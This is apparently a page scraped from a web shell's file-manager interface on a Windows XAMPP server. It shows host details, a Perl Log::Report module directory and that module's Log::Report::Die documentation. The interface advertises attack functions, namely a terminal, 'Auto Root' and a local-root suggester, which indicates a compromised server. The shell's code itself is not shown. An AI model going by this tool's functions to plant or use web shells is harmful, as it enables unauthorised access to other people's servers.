Windows NT KAMIDAKI 10.0 build 19045 (Windows 10) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.3.9
Server IP : 192.168.3.16 & Your IP : 216.73.216.204
Domains :
Cant Read [ /etc/named.conf ]
User : SISTEMA
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
C: /
xampp /
perl /
vendor /
lib /
Log /
Report /
Delete
Unzip
Name
Size
Permission
Date
Action
DBIC
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
Dispatcher
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
Minimal
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
messages
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
Die.pm
3.92
KB
-rw-rw-rw-
2021-01-15 17:36
Die.pod
2.56
KB
-rw-rw-rw-
2021-01-15 17:36
Dispatcher.pm
9.32
KB
-rw-rw-rw-
2021-01-15 17:36
Dispatcher.pod
13.06
KB
-rw-rw-rw-
2021-01-15 17:36
Domain.pm
4.68
KB
-rw-rw-rw-
2021-01-15 17:36
Domain.pod
9.34
KB
-rw-rw-rw-
2021-01-15 17:36
Exception.pm
2.2
KB
-rw-rw-rw-
2021-01-15 17:36
Exception.pod
3.8
KB
-rw-rw-rw-
2021-01-15 17:36
Message.pm
4.73
KB
-rw-rw-rw-
2021-01-15 17:36
Message.pod
16.72
KB
-rw-rw-rw-
2021-01-15 17:36
Minimal.pm
5.83
KB
-rw-rw-rw-
2021-01-15 11:07
Minimal.pod
2.38
KB
-rw-rw-rw-
2021-01-15 11:07
Optional.pm
1.01
KB
-rw-rw-rw-
2021-01-15 11:07
Optional.pod
1.48
KB
-rw-rw-rw-
2021-01-15 11:07
Translator.pm
930
B
-rw-rw-rw-
2021-01-15 17:36
Translator.pod
1.99
KB
-rw-rw-rw-
2021-01-15 17:36
Util.pm
6.13
KB
-rw-rw-rw-
2021-01-15 11:07
Util.pod
4
KB
-rw-rw-rw-
2021-01-15 11:07
Save
Rename
=encoding utf8 =head1 NAME Log::Report::Die - compatibility routines with Perl's die/croak/confess =head1 INHERITANCE Log::Report::Die is a Exporter =head1 SYNOPSIS # use internally only =head1 DESCRIPTION This module is used internally, to translate output of 'die' and Carp functions into L<Log::Report::Message|Log::Report::Message> objects. Also, it tries to convert other kinds of exception frameworks into our message object. =head1 FUNCTIONS =over 4 =item B<die_decode>(STRING, %options) The STRING is the content of C<$@> after an eval() caught a die(). croak(), or confess(). This routine tries to convert this into parameters for L<Log::Report::report()|Log::Report/"Report Production and Configuration">. This is done in a very smart way, even trying to find the stringifications of C<$!>. Return are four elements: the error string which is used to trigger a C<Log::Report> compatible C<die()>, and the options, reason, and text message. The options is a HASH which, amongst other things, may contain a stack trace and location. Translated components will have exception classes C<perl>, and C<die> or C<confess>. On the moment, the C<croak> cannot be distiguished from the C<confess> (when used in package main) or C<die> (otherwise). The returned reason depends on whether the translation of the current C<$!> is found in the STRING, and the presence of a stack trace. The following table is used: errstr stack => reason no no ERROR (die) application internal problem yes no FAULT (die) external problem, think open() no yes PANIC (confess) implementation error yes yes ALERT (confess) external problem, caught -Option--Default on_die 'ERROR' =over 2 =item on_die => REASON =back =item B<exception_decode>($exception, %options) [1.23] This function attempts to translate object of other exception frameworks into information to create a L<Log::Report::Exception|Log::Report::Exception>. It returns the same list of parameters as L<die_decode()|Log::Report::Die/"FUNCTIONS"> does. Currently supported: =over 4 =item * DBIx::Class::Exception =item * XML::LibXML::Error =back =back =head1 SEE ALSO This module is part of Log-Report distribution version 1.31, built on January 15, 2021. Website: F<http://perl.overmeer.net/CPAN/> =head1 LICENSE Copyrights 2007-2021 by [Mark Overmeer <markov@cpan.org>]. For other contributors see ChangeLog. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. See F<http://dev.perl.org/licenses/>